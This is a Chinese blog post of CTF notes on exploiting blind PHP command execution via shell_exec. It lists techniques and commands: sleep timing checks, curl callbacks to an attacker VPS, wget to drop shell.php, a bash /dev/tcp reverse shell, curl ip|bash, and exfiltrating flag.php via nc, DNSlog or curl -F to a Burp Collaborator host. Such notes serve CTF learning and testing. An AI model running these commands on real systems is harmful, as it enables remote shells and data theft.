[CTF]命令执行无回显利用

背景

exec,shell_exec等函数可以执行命令但没有回显,我们需要寻找方法来得到命令执行后的结果

<?php 
   highlight__file(__FILE__)
   shell_exec($_GET[cmd]);
    ?>

判断命令是否执行

延时

利用sleep函数

cmd=ls|sleep 5

HTTP请求

目标主机通过向VPS发起HTTP请求,VPS监听到请求则代表命令执行成功(注意:ping命令不产生http请求)

VPS:nc -lvp 8888

目标主机:cmd=curl ip:8888

DNS请求

利用dnslog

利用方式

直接写入

利用cp命令:cp flag.php 1.txt

利用mv命令:mv flag.php 1.txt

利用>输出结果到文件:ls > 1.txt

利用wget下载:wget http://ip/shell.txt > shell.php或者wget http://ip/shell.txt -O shell.php

反弹shell

bash反弹

目标主机:

bash -i >& /dev/tcp/ip/8888 0>&1

VPS:

nc -lvp 8888

也可以将命令写入文件,之后在存在命令执行的地方输入curl ip|bash即可反弹

外带数据

使用ceye或者dnslog

cmd=curl `命令`.域名

nc外带

目标主机:nc ip 8888 < flag.php
VPS:nc -lvp 8888

当tcp不能使用,-u参数调整为udp

目标主机:nc -u ip 8888 < flag.php
VPS:nc -ulvp 8888

burp(Collaborator Client)

使用curl -F将flag文件上传到Burp的Collaborator Client(Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies)(-X指定发送一个POST请求,-F指定要发送的文件)

获取Collaborator Client分配给BURP的链接:

打开Burp主界面 -->菜单(Burp)-->Burp Collaboraor Client -- > 点击 Copy to Clipboard

目标主机:

cmd=curl -X POST -F xx=@flag.php http://jj6xpgxristzkbn1fpkl32t6jxpndc.burpcollaborator.net

image-20220221013752788

参考:

https://blog.csdn.net/weixin_33164837/article/details/112421828

https://h0ld1rs.github.io/2021/06/24/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%97%A0%E5%9B%9E%E6%98%BE/#burp-Collaborator-Client

  • 8
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值